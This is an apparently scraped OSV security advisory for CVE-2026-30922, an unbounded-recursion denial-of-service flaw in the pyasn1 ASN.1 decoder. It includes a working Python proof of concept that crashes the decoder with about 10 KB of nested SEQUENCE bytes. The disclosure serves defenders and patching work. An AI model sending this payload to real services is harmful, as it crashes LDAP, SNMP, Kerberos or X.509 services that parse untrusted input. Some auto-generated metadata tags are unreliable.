---
schema_version: '1.0'
id: security-20260812-ecb3f7
title: 'CVE-2026-30922: Denial of Service in pyasn1 via Unbounded Recursion'
url: https://osv.dev/vulnerability/GHSA-jr27-m4p2-rc6r
url_hash: ecb3f7054e412f229dec0afbd29b610fbe24632bdf4181dc0cb4b67200d8477c
canonical_url: https://osv.dev/vulnerability/GHSA-jr27-m4p2-rc6r
source: osv:ghsa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2026-30922
- GHSA-jr27-m4p2-rc6r
- severity:CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- pyasn1
- PyPI
lang: en
published_at: '2026-03-17T16:17:33Z'
fetched_at: '2026-08-12T16:00:04.665863Z'
updated_at: '2026-09-10T15:44:50Z'
status: published
content_hash: eb16ba27943ebdf397db8c1606c3d978ece08146720f1c2c497a63d198d5a8f7
content_changed_at: '2026-09-10T15:44:18.015997Z'
license_note: full
summary: Denial of Service in pyasn1 via Unbounded Recursion
summary_source: rss
summary_en: Denial of Service in pyasn1 via Unbounded Recursion
summary_omitted_reason: null
redistribution: true
keywords_en:
- CVE
- CVE-2026-30922
- Denial
- GHSA-jr27-m4p2-rc6r
- library vulnerability
- pyasn1
- PyPI
- Recursion
- Rivian
- Service
- service_account
- severity:CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- software security
- Unbounded
- via
entities_en:
- name: CVE
  type: data
- name: Rivian
  type: organization
- name: service_account
  type: person
topics_en:
- library vulnerability
- software security
numeric_facts: []
entities:
- name: CVE
  type: data
- name: service_account
  type: person
- name: Rivian
  type: organization
related_auto:
- name: 集団的免疫力
  type: concept
  weight: 1.0
computed_at: '2026-09-10T15:44:20Z'
---

# CVE-2026-30922: Denial of Service in pyasn1 via Unbounded Recursion

## TL;DR
Denial of Service in pyasn1 via Unbounded Recursion

## Key Points
- cve / CVE-2026-30922 / GHSA-jr27-m4p2-rc6r / severity:CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H / pyasn1 / PyPI

## Details
**Severity:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**Advisory:** GHSA-jr27-m4p2-rc6r (CVE-2026-30922)

**Details:**
### Summary
The `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.

### Details
The vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.
Vulnerable Code Locations:
1. `indefLenValueDecoder` (Line 998):
```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```
This method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.

2. `valueDecoder` (Lines 786 and 907):
```for component in decodeFun(substrate, componentType, **options):```
This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.

4. `_decodeComponentsSchemaless` (Line 661):
```for component in decodeFun(substrate, **options):```
This method handles decoding when no schema is provided.

In all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.

### PoC
```
import sys
from pyasn1.codec.ber import decoder

sys.setrecursionlimit(100000)

print("[*] Generating Recursion Bomb Payload...")
depth = 50_000
chunk = b'\x30\x80' 
payload = chunk * depth

print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
print("[*] Triggering Decoder...")

try:
    decoder.decode(payload)
except RecursionError:
    print("[!] Crashed: Recursion Limit Hit")
except MemoryError:
    print("[!] Crashed: Out of Memory")
except Exception as e:
    print(f"[!] Crashed: {e}")
```

```
[*] Payload size: 9.77 KB
[*] Triggering Decoder...
[!] Crashed: Recursion Limit Hit
```

### Impact
- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

### Credits
Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

**References:**
- https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r
- https://nvd.nist.gov/vuln/detail/CVE-2026-30922
- https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8
- https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0
- https://access.redhat.com/errata/RHSA-2026:22970
- https://access.redhat.com/errata/RHSA-2026:22987
- https://access.redhat.com/errata/RHSA-2026:24761
- https://access.redhat.com/errata/RHSA-2026:24762
- https://access.redhat.com/errata/RHSA-2026:37275
- https://access.redhat.com/errata/RHSA-2026:41928

_Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-jr27-m4p2-rc6r_

## Source
元記事: [CVE-2026-30922: Denial of Service in pyasn1 via Unbounded Recursion](https://osv.dev/vulnerability/GHSA-jr27-m4p2-rc6r) — published 2026-03-17T16:17:33Z
